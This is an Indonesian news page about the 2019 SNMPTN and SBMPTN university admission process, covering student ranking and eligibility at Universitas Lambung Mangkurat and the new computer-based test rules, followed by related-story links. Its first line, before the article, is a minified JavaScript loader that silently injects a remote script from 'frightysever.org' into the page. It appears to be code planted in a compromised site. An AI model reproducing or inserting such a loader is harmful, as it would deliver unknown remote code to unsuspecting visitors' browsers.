(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Lembaga Tes Masuk Perguruan Tinggi (LTMPT) telah mengumumkan hasil pemeringkatan dan eligibel siswa yang mendaftar SNMPTN di Universitas Lambung Mangkurat (ULM).
Pemeringkatan siswa dilakukan oleh sistem LTMPT berdasarkan nilai mata pelajaran diantaranya jurusan IPA meliputi mata pelajaran Matematika, Bahasa Indonesia, Bahasa Inggris, Kimia, Fisika, dan Biologi. Sedangkan jurusan IPS meliput Matematika, Bahasa Indonesia, Bahasa Inggris, Sosiologi, Ekonomi, dan Geografi. Dan jurusan bahasa meliput Matematika, Bahasa Indonesia, Bahasa Inggris, Sastra Indonesia, Antropologi, dan salah satu Bahasa Asing.
Sedangkan untuk SMK pemeringkatan siswa berdasarkan hasil nilai mata pelajaran Matematika, Bahasa Indonesia, Bahasa Inggris, dan Kompetensi Keahlian (Teori Kejuruan dan Praktik Kejuruan).
Dilansir tribunnews.com, eligibilitas ditentukan dengan melihat ketentuan kuota berdasarkan akreditasi sekolah seperti yang tercantum di laman www.snmptn.ac.id.
Wakil Rektor I Bidang Akademik ULM Banjarmasin, Dr H Aminuddin Prahatama Putra mengatakan saat ini sebanyak 613.860 siswa atau 14.744 sekolah yang eligibel bisa mendaftar di SNMPTN 2019. “Jadi, siswa atau pendaftar yang memenuhi kriteria pemeringkatan oleh LTMPT tersebut, bisa menggunakan NISN dan password login ke laman SNMPTN 2019 http://web.snmptn.ac.id untuk melakukan pendaftaran,” jelas Aminuddin.
Aminudin mengatakan pendaftaran tersebut sudah dibuka sejak 4 Februari kemarin hingga 14 Februari mendatang.
Sebelumnya, Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemenristekdikti) mengumumkan skema seleksi mahasiswa baru di perguruan tinggi negeri (PTN) tahun 2019. Sama dengan tahun sebelumnya, jalur seleksi dibagi menjadi tiga yaitu Seleksi Nasional Masuk PTN (SNMPTN), Seleksi Bersama Masuk PTN (SBMPTN) dan Ujian Mandiri.
Namun, khusus jalur SBMPTN terdapat beberapa perubahan signifikan di tahun 2019. Pertama, peserta SBMPTN diperkenankan mengikuti tes ulang jika hasil tes dirasa belum memuaskan. “Kalau misalkan mereka ujian, gagal pada hari itu, dia bisa melakukan tes lagi, mencoba lagi dua kali. Maksimal dua kali,†kata Menristekdikti Mohammad Nasir.
Kedua, SBMPTN 2019 mewajibkan calon mahasiswa untuk mengikuti tes terlebih dahulu baru kemudian memilih kampus serta program studinya. “Jadi bukan mahasiswa nanti datang ke kampus, daftar, dan kemudian tes SBMPTN,†katanya.
Kemudian yang ketiga, SBMPTN 2019 hanya dilakukan dengan satu jenis tes, yaitu Uji Tulis Berbasis Komputer (UTBK). “Terkait SBMPTN itu hanya ada satu jenis tes yaitu UTBK dan tidak ada ujian tulis berbasis cetak,†jelas Nasir. (trb/kum)
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.